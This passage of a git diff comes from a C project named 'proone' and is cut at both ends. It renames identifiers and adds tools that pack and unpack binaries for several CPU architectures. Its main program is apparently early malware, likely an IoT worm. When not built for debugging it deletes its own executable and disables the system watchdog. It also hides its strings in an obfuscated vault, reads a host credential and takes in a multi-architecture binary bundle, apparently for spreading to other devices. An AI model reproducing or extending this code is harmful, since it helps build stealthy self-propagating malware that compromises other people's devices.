*r) { + free(r->data); + r->data = NULL; + r->data_size = 0; + r->result = PRNE_INDEX_BIN_ARCHIVE_OK; + r->err = 0; +} + +void prne_free_bin_archive (prne_bin_archive_t *a) { + free(a->data); + free(a->arch_arr); + a->nb_binaries = 0; + a->data_size = 0; + a->arch_arr = NULL; + a->offset_arr = NULL; + a->size_arr = NULL; +} diff --git a/src/pack.h b/src/pack.h new file mode 100644 index 0000000..9f37cb5 --- /dev/null +++ b/src/pack.h @@ -0,0 +1,47 @@ +#pragma once +#include +#include + +#include "protocol.h" + + +typedef struct prne_bin_archive prne_bin_archive_t; +typedef struct prne_unpack_bin_archive_result prne_unpack_bin_archive_result_t; + +struct prne_bin_archive { + size_t data_size; + uint8_t *data; + size_t nb_binaries; + prne_arch_t *arch_arr; + size_t *offset_arr; + size_t *size_arr; +}; + +typedef enum { + PRNE_UNPACK_BIN_ARCHIVE_OK, + PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR, + PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, + PRNE_UNPACK_BIN_ARCHIVE_ERRNO, + PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR +} prne_unpack_bin_archive_result_code_t; + +struct prne_unpack_bin_archive_result { + size_t data_size; + uint8_t *data; + prne_unpack_bin_archive_result_code_t result; + long err; +}; + +typedef enum { + PRNE_INDEX_BIN_ARCHIVE_OK, + PRNE_INDEX_BIN_ARCHIVE_FMT_ERR, + PRNE_INDEX_BIN_ARCHIVE_MEM_ERR +} prne_index_bin_archive_result_code_t; + + +void prne_init_bin_archive (prne_bin_archive_t *a); +void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); +prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd); +prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out); +void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); +void prne_free_bin_archive (prne_bin_archive_t *a); diff --git a/src/proone-list-arch.c b/src/proone-list-arch.c index 792b9c2..e7521ae 100644 --- a/src/proone-list-arch.c +++ b/src/proone-list-arch.c @@ -1,13 +1,13 @@ #include -#include "proone_protocol.h" +#include "protocol.h" int main (void) { - proone_arch_t i; + prne_arch_t i; - for (i = PROONE_ARCH_NONE + 1; i < NB_PROONE_ARCH; i += 1) { - printf("%s\n", proone_arch2str(i)); + for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + printf("%s\n", prne_arch2str(i)); } return 0; diff --git a/src/proone-mask.c b/src/proone-mask.c index cd2bad7..9349a0f 100644 --- a/src/proone-mask.c +++ b/src/proone-mask.c @@ -6,7 +6,7 @@ #include #include -#include "proone_dvault.h" +#include "dvault.h" static const char *RND_DEV_PATH = "/dev/random"; @@ -17,10 +17,10 @@ int main (const int argc, const char **args) { ssize_t fd_read_size; uint8_t salt; size_t read_size = 0; - proone_dvault_mask_result_t mask_result; - proone_data_type_t type; + prne_dvault_mask_result_t mask_result; + prne_data_type_t type; - proone_init_dvault_mask_result(&mask_result); + prne_init_dvault_mask_result(&mask_result); if (argc <= 1) { fprintf(stderr, @@ -54,9 +54,9 @@ int main (const int argc, const char **args) { close(rnd_fd); rnd_fd = -1; - type = proone_str2data_type(args[1]); + type = prne_str2data_type(args[1]); switch (type) { - case PROONE_DATA_TYPE_CSTR: { + case PRNE_DATA_TYPE_CSTR: { static const size_t buf_size = 0x0000FFFF + 1; uint8_t buf[buf_size]; @@ -83,12 +83,12 @@ int main (const int argc, const char **args) { goto END; } - mask_result = proone_dvault_mask(type, salt, read_size, buf); - if (mask_result.result == PROONE_DVAULT_MASK_OK) { + mask_result = prne_dvault_mask(type, salt, read_size, buf); + if (mask_result.result == PRNE_DVAULT_MASK_OK) { printf("(uint8_t*)\"%s\"\n", mask_result.str); } else { - fprintf(stderr, "Error: proone_dvault_mask() returned %d\n", (int)mask_result.result); + fprintf(stderr, "Error: prne_dvault_mask() returned %d\n", (int)mask_result.result); exit_code = 1; goto END; } @@ -102,7 +102,7 @@ int main (const int argc, const char **args) { END: close(rnd_fd); - proone_free_dvault_mask_result(&mask_result); + prne_free_dvault_mask_result(&mask_result); return exit_code; } diff --git a/src/proone-pack.c b/src/proone-pack.c new file mode 100644 index 0000000..2098f4e --- /dev/null +++ b/src/proone-pack.c @@ -0,0 +1,145 @@ +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "protocol.h" + + +int main (const int argc, const char **args) { + typedef struct { + prne_arch_t arch; + const char *path; + } archive_tuple_t; + size_t i; + const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; + archive_tuple_t archive_arr[NB_PRNE_ARCH]; + archive_tuple_t *archive; + size_t archive_arr_cnt = 0; + const char *path, *ext; + bool proc_result = true; + prne_arch_t arch; + int bin_fd = -1; + struct stat st; + uint8_t head[4]; + + if (argc <= 1) { + fprintf(stderr, "Usage: %s [path to binary 2 [path to binary ...]]\n", args[0]); + return 1; + } + // refuse to run if stdout is terminal + if (isatty(STDOUT_FILENO)) { + fprintf(stderr, "** Refusing to print on terminal.\n"); + return 1; + } + // too many files + if (argc - 1 > NB_PRNE_ARCH) { + fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH); + return 1; + } + + // init + memset(encounter_arr, 0, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); + memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PRNE_ARCH); + + // Check the file names are valid + for (i = 1; i < (size_t)argc; i += 1) { + path = args[i]; + + ext = strrchr(path, '.'); + if (ext == NULL) { + fprintf(stderr, "** %s: file extension not found\n", path); + proc_result = false; + continue; + } + ext += 1; + + arch = prne_str2arch(ext); + if (arch == PRNE_ARCH_NONE) { + fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); + proc_result = false; + continue; + } + + if (encounter_arr[arch] != NULL) { + fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path); + proc_result = false; + continue; + } + + archive_arr[archive_arr_cnt].arch = arch; + archive_arr[archive_arr_cnt].path = path; + encounter_arr[arch] = &archive_arr[archive_arr_cnt]; + archive_arr_cnt += 1; + } + if (!proc_result) { + return 1; + } + + // do packing + fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); + for (i = 0; i < archive_arr_cnt; i += 1) { + archive = &archive_arr[i]; + fprintf(stderr, "Packing: %s ...\n", archive->path); + + bin_fd = open(archive->path, O_RDONLY); + if (bin_fd < 0) { + perror("** open()"); + proc_result = false; + break; + } + + // get size + if (fstat(bin_fd, &st) != 0) { + perror("** fstat()"); + proc_result = false; + break; + } + if (st.st_size == 0) { + fprintf(stderr, "** empty file!\n"); + proc_result = false; + break; + } + if (st.st_size > 0x00FFFFFE) { + fprintf(stderr, "** binary too large!\n"); + proc_result = false; + break; + } + + // write head + head[0] = (uint8_t)archive->arch; + // endian conversion as the file is big endian + head[1] = (uint8_t)(((uint32_t)st.st_size & 0x00FF0000) >> 16); + head[2] = (uint8_t)(((uint32_t)st.st_size & 0x0000FF00) >> 8); + head[3] = (uint8_t)((uint32_t)st.st_size & 0x000000FF); + if (write(STDOUT_FILENO, head, 4) != 4) { + perror("write()"); + proc_result = false; + break; + } + + // write binary + if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) { + perror("** sendfile()"); + proc_result = false; + break; + } + + close(bin_fd); + bin_fd = -1; + } + + close(bin_fd); + bin_fd = -1; + errno = 0; + + return proc_result ? 0 : 2; +} diff --git a/src/proone-packer.c b/src/proone-packer.c deleted file mode 100644 index 28fd525..0000000 --- a/src/proone-packer.c +++ /dev/null @@ -1,145 +0,0 @@ -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include "proone_protocol.h" - - -int main (const int argc, const char **args) { - typedef struct { - proone_arch_t arch; - const char *path; - } archive_tuple_t; - size_t i; - const archive_tuple_t *encounter_arr[NB_PROONE_ARCH]; - archive_tuple_t archive_arr[NB_PROONE_ARCH]; - archive_tuple_t *archive; - size_t archive_arr_cnt = 0; - const char *path, *ext; - bool proc_result = true; - proone_arch_t arch; - int bin_fd = -1; - struct stat st; - uint8_t head[4]; - - if (argc <= 1) { - fprintf(stderr, "Usage: %s [path to binary 2 [path to binary ...]]\n", args[0]); - return 1; - } - // refuse to run if stdout is terminal - if (isatty(STDOUT_FILENO)) { - fprintf(stderr, "** Refusing to print on terminal.\n"); - return 1; - } - // too many files - if (argc - 1 > NB_PROONE_ARCH) { - fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PROONE_ARCH); - return 1; - } - - // init - memset(encounter_arr, 0, sizeof(archive_tuple_t*) * NB_PROONE_ARCH); - memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PROONE_ARCH); - - // Check the file names are valid - for (i = 1; i < (size_t)argc; i += 1) { - path = args[i]; - - ext = strrchr(path, '.'); - if (ext == NULL) { - fprintf(stderr, "** %s: file extension not found\n", path); - proc_result = false; - continue; - } - ext += 1; - - arch = proone_str2arch(ext); - if (arch == PROONE_ARCH_NONE) { - fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); - proc_result = false; - continue; - } - - if (encounter_arr[arch] != NULL) { - fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path); - proc_result = false; - continue; - } - - archive_arr[archive_arr_cnt].arch = arch; - archive_arr[archive_arr_cnt].path = path; - encounter_arr[arch] = &archive_arr[archive_arr_cnt]; - archive_arr_cnt += 1; - } - if (!proc_result) { - return 1; - } - - // do packing - fprintf(stderr, archive_arr_cnt == NB_PROONE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); - for (i = 0; i < archive_arr_cnt; i += 1) { - archive = &archive_arr[i]; - fprintf(stderr, "Packing: %s ...\n", archive->path); - - bin_fd = open(archive->path, O_RDONLY); - if (bin_fd < 0) { - perror("** open()"); - proc_result = false; - break; - } - - // get size - if (fstat(bin_fd, &st) != 0) { - perror("** fstat()"); - proc_result = false; - break; - } - if (st.st_size == 0) { - fprintf(stderr, "** empty file!\n"); - proc_result = false; - break; - } - if (st.st_size > 0x00FFFFFE) { - fprintf(stderr, "** binary too large!\n"); - proc_result = false; - break; - } - - // write head - head[0] = (uint8_t)archive->arch; - // endian conversion as the file is big endian - head[1] = (uint8_t)(((uint32_t)st.st_size & 0x00FF0000) >> 16); - head[2] = (uint8_t)(((uint32_t)st.st_size & 0x0000FF00) >> 8); - head[3] = (uint8_t)((uint32_t)st.st_size & 0x000000FF); - if (write(STDOUT_FILENO, head, 4) != 4) { - perror("write()"); - proc_result = false; - break; - } - - // write binary - if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) { - perror("** sendfile()"); - proc_result = false; - break; - } - - close(bin_fd); - bin_fd = -1; - } - - close(bin_fd); - bin_fd = -1; - errno = 0; - - return proc_result ? 0 : 2; -} diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c index adf5ee9..cdb19ba 100644 --- a/src/proone-print-all-data.c +++ b/src/proone-print-all-data.c @@ -1,28 +1,28 @@ #include #include -#include "proone_dvault.h" +#include "dvault.h" int main (void) { - proone_data_key_t i = PROONE_DATA_KEY_NONE + 1; - proone_data_type_t type; + prne_data_key_t i = PRNE_DATA_KEY_NONE + 1; + prne_data_type_t type; - proone_init_dvault(); + prne_init_dvault(); - for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { - type = (proone_data_type_t)PROONE_DATA_DICT[i][0]; + for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { + type = (prne_data_type_t)PRNE_DATA_DICT[i][0]; switch (type) { - case PROONE_DATA_TYPE_CSTR: - printf("%10lld: %s\n", (long long)i, proone_dvault_unmask_entry_cstr(i, NULL)); + case PRNE_DATA_TYPE_CSTR: + printf("%10lld: %s\n", (long long)i, prne_dvault_unmask_entry_cstr(i, NULL)); break; default: - fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, proone_data_type2str(type)); + fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, prne_data_type2str(type)); abort(); } } - proone_deinit_dvault(); + prne_deinit_dvault(); return 0; } diff --git a/src/proone-unpack.c b/src/proone-unpack.c new file mode 100644 index 0000000..1f0e67f --- /dev/null +++ b/src/proone-unpack.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include "pack.h" + + +static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_t *r) { + const char *err_str, *err_msg = NULL; + + switch (r->result) { + case PRNE_UNPACK_BIN_ARCHIVE_OK: + err_str = "ok"; + break; + case PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR: + err_str = "openssl error"; + err_msg = ERR_error_string(r->err, NULL); + break; + case PRNE_UNPACK_BIN_ARCHIVE_Z_ERR: + err_str = "zlib error"; + err_msg = zError((int)r->err); + break; + case PRNE_UNPACK_BIN_ARCHIVE_ERRNO: + err_str = "errno"; + err_msg = strerror((int)r->err); + break; + case PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR: + err_str = "memory error"; + err_msg = strerror((int)r->err); + break; + default: + err_str = "* unknown"; + } + + if (err_msg == NULL) { + fprintf(stderr, "%s.\n", err_str); + } + else { + fprintf(stderr, "%s: %s\n", err_str, err_msg); + } +} + +static void report_index_bin_archive_err (const prne_index_bin_archive_result_code_t c) { + const char *msg; + + switch (c) { + case PRNE_INDEX_BIN_ARCHIVE_OK: + msg = "ok"; break; + case PRNE_INDEX_BIN_ARCHIVE_FMT_ERR: + msg = "format error"; break; + case PRNE_INDEX_BIN_ARCHIVE_MEM_ERR: + msg = "memory error"; break; + default: + msg = "* unknown"; break; + } + + fprintf(stderr, "%s.\n", msg); +} + +int main (const int argc, const char **args) { + int exit_code = 0; + const char *path_prefix; + size_t path_prefix_len; + prne_unpack_bin_archive_result_t unpack_ret; + prne_bin_archive_t bin_archive; + prne_index_bin_archive_result_code_t index_ret; + size_t i; + const char *arch_str; + char *path = NULL; + size_t path_size; + void *ny_buf; + int fd = -1; + + if (argc <= 1) { + fprintf(stderr, "Usage: %s \n", args[0]); + return 1; + } + + path_prefix = args[1]; + path_prefix_len = strlen(path_prefix); + prne_init_bin_archive(&bin_archive); + + do { // fake loop + unpack_ret = prne_unpack_bin_archive(STDIN_FILENO); + if (unpack_ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { + report_unpack_bin_archive_err(&unpack_ret); + exit_code = 2; + break; + } + + index_ret = prne_index_bin_archive(&unpack_ret, &bin_archive); + if (index_ret != PRNE_INDEX_BIN_ARCHIVE_OK) { + report_index_bin_archive_err(index_ret); + exit_code = 2; + break; + } + + for (i = 0; i < bin_archive.nb_binaries; i += 1) { + arch_str = prne_arch2str(bin_archive.arch_arr[i]); + if (arch_str == NULL) { + fprintf(stderr, "** unrecognised arch!"); + exit_code = 2; + break; + } + + path_size = 2 + path_prefix_len + strlen(arch_str); + ny_buf = realloc(path, path_size); + if (ny_buf == NULL) { + perror("realloc()"); + exit_code = 2; + break; + } + path = (char*)ny_buf; + sprintf(path, "%s.%s", path_prefix, arch_str); + + fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); + if (fd < 0) { + perror("open()"); + exit_code = 2; + break; + } + if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { + perror("write()"); + exit_code = 2; + break; + } + close(fd); + } + } while (false); + + free(path); + close(fd); + prne_free_unpack_bin_archive_result(&unpack_ret); + prne_free_bin_archive(&bin_archive); + + return exit_code; +} diff --git a/src/proone-unpacker.c b/src/proone-unpacker.c deleted file mode 100644 index 52fd48a..0000000 --- a/src/proone-unpacker.c +++ /dev/null @@ -1,144 +0,0 @@ -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "proone_pack.h" - - -static void report_unpack_bin_archive_err (const proone_unpack_bin_archive_result_t *r) { - const char *err_str, *err_msg = NULL; - - switch (r->result) { - case PROONE_UNPACK_BIN_ARCHIVE_OK: - err_str = "ok"; - break; - case PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR: - err_str = "openssl error"; - err_msg = ERR_error_string(r->err, NULL); - break; - case PROONE_UNPACK_BIN_ARCHIVE_Z_ERR: - err_str = "zlib error"; - err_msg = zError((int)r->err); - break; - case PROONE_UNPACK_BIN_ARCHIVE_ERRNO: - err_str = "errno"; - err_msg = strerror((int)r->err); - break; - case PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR: - err_str = "memory error"; - err_msg = strerror((int)r->err); - break; - default: - err_str = "* unknown"; - } - - if (err_msg == NULL) { - fprintf(stderr, "%s.\n", err_str); - } - else { - fprintf(stderr, "%s: %s\n", err_str, err_msg); - } -} - -static void report_index_bin_archive_err (const proone_index_bin_archive_result_code_t c) { - const char *msg; - - switch (c) { - case PROONE_INDEX_BIN_ARCHIVE_OK: - msg = "ok"; break; - case PROONE_INDEX_BIN_ARCHIVE_FMT_ERR: - msg = "format error"; break; - case PROONE_INDEX_BIN_ARCHIVE_MEM_ERR: - msg = "memory error"; break; - default: - msg = "* unknown"; break; - } - - fprintf(stderr, "%s.\n", msg); -} - -int main (const int argc, const char **args) { - int exit_code = 0; - const char *path_prefix; - size_t path_prefix_len; - proone_unpack_bin_archive_result_t unpack_ret; - proone_bin_archive_t bin_archive; - proone_index_bin_archive_result_code_t index_ret; - size_t i; - const char *arch_str; - char *path = NULL; - size_t path_size; - void *ny_buf; - int fd = -1; - - if (argc <= 1) { - fprintf(stderr, "Usage: %s \n", args[0]); - return 1; - } - - path_prefix = args[1]; - path_prefix_len = strlen(path_prefix); - proone_init_bin_archive(&bin_archive); - - do { // fake loop - unpack_ret = proone_unpack_bin_archive(STDIN_FILENO); - if (unpack_ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) { - report_unpack_bin_archive_err(&unpack_ret); - exit_code = 2; - break; - } - - index_ret = proone_index_bin_archive(&unpack_ret, &bin_archive); - if (index_ret != PROONE_INDEX_BIN_ARCHIVE_OK) { - report_index_bin_archive_err(index_ret); - exit_code = 2; - break; - } - - for (i = 0; i < bin_archive.nb_binaries; i += 1) { - arch_str = proone_arch2str(bin_archive.arch_arr[i]); - if (arch_str == NULL) { - fprintf(stderr, "** unrecognised arch!"); - exit_code = 2; - break; - } - - path_size = 2 + path_prefix_len + strlen(arch_str); - ny_buf = realloc(path, path_size); - if (ny_buf == NULL) { - perror("realloc()"); - exit_code = 2; - break; - } - path = (char*)ny_buf; - sprintf(path, "%s.%s", path_prefix, arch_str); - - fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); - if (fd < 0) { - perror("open()"); - exit_code = 2; - break; - } - if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { - perror("write()"); - exit_code = 2; - break; - } - close(fd); - } - } while (false); - - free(path); - close(fd); - proone_free_unpack_bin_archive_result(&unpack_ret); - proone_free_bin_archive(&bin_archive); - - return exit_code; -} diff --git a/src/proone.c b/src/proone.c index 7ddaa8b..33cea92 100644 --- a/src/proone.c +++ b/src/proone.c @@ -16,17 +16,17 @@ #include #include "proone.h" -#include "proone_util.h" -#include "proone_dvault.h" -#include "proone_heartbeat-worker.h" +#include "util.h" +#include "dvault.h" +#include "heartbeat-worker.h" -struct proone_global pne_global; +struct prne_global pne_g; typedef struct { - proone_worker_t worker; - proone_worker_sched_req_t sched_req; + prne_worker_t worker; + prne_worker_sched_req_t sched_req; } worker_tuple_t; typedef struct { @@ -45,10 +45,10 @@ static bool ensure_single_instance (void) { int fd; fd = shm_open( - proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL), + prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), O_RDWR | O_CREAT | O_TRUNC, 0666); - proone_dvault_reset_dict(); + prne_dvault_reset_dict(); if (fd < 0) { return true; } @@ -57,7 +57,7 @@ static bool ensure_single_instance (void) { return errno != EWOULDBLOCK; } else { - pne_global.has_proc_lim_lock = true; + pne_g.has_proc_lim_lock = true; } return true; @@ -66,7 +66,7 @@ static bool ensure_single_instance (void) { static void init_rnd_engine (void) { uint32_t seed = 0; int fd; - proone_rnd_engnie_alloc_result_t ret; + prne_rnd_engnie_alloc_result_t ret; fd = open("/dev/urandom", O_RDONLY); if (fd >= 0) { @@ -83,12 +83,12 @@ static void init_rnd_engine (void) { (uint32_t)(clock() % 0xFFFFFFFF); } - ret = proone_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PROONE_RND_ENGINE_ALLOC_OK) { + ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { abort(); } - pne_global.rnd = ret.engine; + pne_g.rnd = ret.engine; } static void delete_myself (const char *arg0) { @@ -130,14 +130,14 @@ static void disasble_watchdog (void) { } static void handle_interrupt (const int sig) { - if (pne_global.caught_signal == 0) { - pne_global.caught_signal = sig; + if (pne_g.caught_signal == 0) { + pne_g.caught_signal = sig; } signal(sig, SIG_DFL); } static void proc_fin_call (void) { - if (pne_global.caught_signal != 0) { + if (pne_g.caught_signal != 0) { size_t i; worker_tuple_t *wt; @@ -146,7 +146,7 @@ static void proc_fin_call (void) { wt->worker.fin(wt->worker.ctx); } - proc_fin_call_ptr = proone_empty_func; + proc_fin_call_ptr = prne_empty_func; finalising = true; } } @@ -156,15 +156,15 @@ static void print_ready_signature (void) { uint8_t *sig_data; char *plain_str, *sig_str; - plain_str = proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK, &len); + plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); sig_data = (uint8_t*)malloc(len + 1); - sig_data[0] = (uint8_t)(proone_rnd_gen_int(pne_global.rnd) % 256); + sig_data[0] = (uint8_t)(prne_rnd_gen_int(pne_g.rnd) % 256); memcpy(sig_data + 1, plain_str, len); - proone_dvault_reset_dict(); - proone_dvault_invert_mem(len, sig_data + 1, sig_data[0]); + prne_dvault_reset_dict(); + prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); - sig_str = proone_enc_base64_mem(sig_data, len); + sig_str = prne_enc_base64_mem(sig_data, len); if (sig_str == NULL) { abort(); } @@ -192,7 +192,7 @@ static void read_host_credential (void) { } } if (found) { - proone_dec_base64_mem(buf, i, &pne_global.host_cred_data, &pne_global.host_cred_size); + prne_dec_base64_mem(buf, i, &pne_g.host_cred_data, &pne_g.host_cred_size); } END: @@ -204,19 +204,19 @@ int main (const int argc, char **args) { int exit_code = 0; size_t i; worker_tuple_t *wt; - proone_worker_sched_info_t sched_info; + prne_worker_sched_info_t sched_info; - pne_global.host_cred_data = NULL; - pne_global.host_cred_size = 0; - pne_global.has_proc_lim_lock = false; - pne_global.bin_ready = false; - pne_global.caught_signal = 0; - pne_global.rnd = NULL; - proone_init_unpack_bin_archive_result(&pne_global.bin_pack); - proone_init_bin_archive(&pne_global.bin_archive); + pne_g.host_cred_data = NULL; + pne_g.host_cred_size = 0; + pne_g.has_proc_lim_lock = false; + pne_g.bin_ready = false; + pne_g.caught_signal = 0; + pne_g.rnd = NULL; + prne_init_unpack_bin_archive_result(&pne_g.bin_pack); + prne_init_bin_archive(&pne_g.bin_archive); /* quick prep. IN THIS ORDER! */ - proone_init_dvault(); + prne_init_dvault(); #ifndef DEBUG delete_myself(args[0]); disasble_watchdog(); @@ -226,9 +226,9 @@ int main (const int argc, char **args) { print_ready_signature(); read_host_credential(); // get fed with the bin archive - pne_global.bin_pack = proone_unpack_bin_archive(STDIN_FILENO); - if (pne_global.bin_pack.result == PROONE_UNPACK_BIN_ARCHIVE_OK) { - pne_global.bin_ready = proone_index_bin_archive(&pne_global.bin_pack, &pne_global.bin_archive) == PROONE_INDEX_BIN_ARCHIVE_OK; + pne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); + if (pne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { + pne_g.bin_ready = prne_index_bin_archive(&pne_g.bin_pack, &pne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; } // done with the terminal @@ -251,34 +251,34 @@ int main (const int argc, char **args) { } // init workers - if (proone_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { + if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { worker_pool_size += 1; } // TODO for (i = 0; i < worker_pool_size; i += 1) { - proone_init_worker_sched_req(&worker_pool[i].sched_req, NULL); + prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL); } - if (worker_pool_size == 0 || pne_global.caught_signal != 0) { + if (worker_pool_size == 0 || pne_g.caught_signal != 0) { goto END; } proc_fin_call_ptr = proc_fin_call; - proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); + prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); pollfd_pool.arr = NULL; pollfd_pool.size = 0; while (true) { - proone_worker_sched_flag_t all_sched_flag = PROONE_WORKER_SCHED_FLAG_NONE; + prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE; struct timespec timeout; size_t total_pollfd_size = 0; bool worked = false; - proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); - sched_info.tick_diff = proone_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); - sched_info.real_tick_diff = proone_real_timespec(&sched_info.tick_diff); + prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); + sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); + sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff); proc_fin_call_ptr(); @@ -292,9 +292,9 @@ int main (const int argc, char **args) { wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req); worked |= true; - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { - if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { - if (proone_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { + if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { + if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { timeout = wt->sched_req.timeout; } } @@ -302,7 +302,7 @@ int main (const int argc, char **args) { timeout = wt->sched_req.timeout; } } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { total_pollfd_size += wt->sched_req.pollfd_arr_size; } @@ -317,7 +317,7 @@ int main (const int argc, char **args) { } break; } - else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_POLL) { + else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) { void *ny_mem; size_t pollfd_ptr; @@ -337,14 +337,14 @@ int main (const int argc, char **args) { continue; } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { wt->sched_req.pollfd_ready = false; memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd)); pollfd_ptr += wt->sched_req.pollfd_arr_size; } } - if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { + if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { switch (errno) { case EINTR: case ENOMEM: @@ -362,7 +362,7 @@ int main (const int argc, char **args) { continue; } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { wt->sched_req.pollfd_ready = true; memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size); pollfd_ptr += wt->sched_req.pollfd_arr_size; @@ -371,7 +371,7 @@ int main (const int argc, char **args) { } } } - else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { + else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) { abort(); } @@ -389,24 +389,24 @@ END: wt->sched_req.mem_func.free(&wt->sched_req); } - free(pne_global.host_cred_data); - pne_global.host_cred_data = NULL; - pne_global.host_cred_size = 0; + free(pne_g.host_cred_data); + pne_g.host_cred_data = NULL; + pne_g.host_cred_size = 0; - if (pne_global.has_proc_lim_lock) { - shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL)); - proone_dvault_reset_dict(); - pne_global.has_proc_lim_lock = false; + if (pne_g.has_proc_lim_lock) { + shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); + prne_dvault_reset_dict(); + pne_g.has_proc_lim_lock = false; } - proone_free_bin_archive(&pne_global.bin_archive); - proone_free_unpack_bin_archive_result(&pne_global.bin_pack); - pne_global.bin_ready = false; + 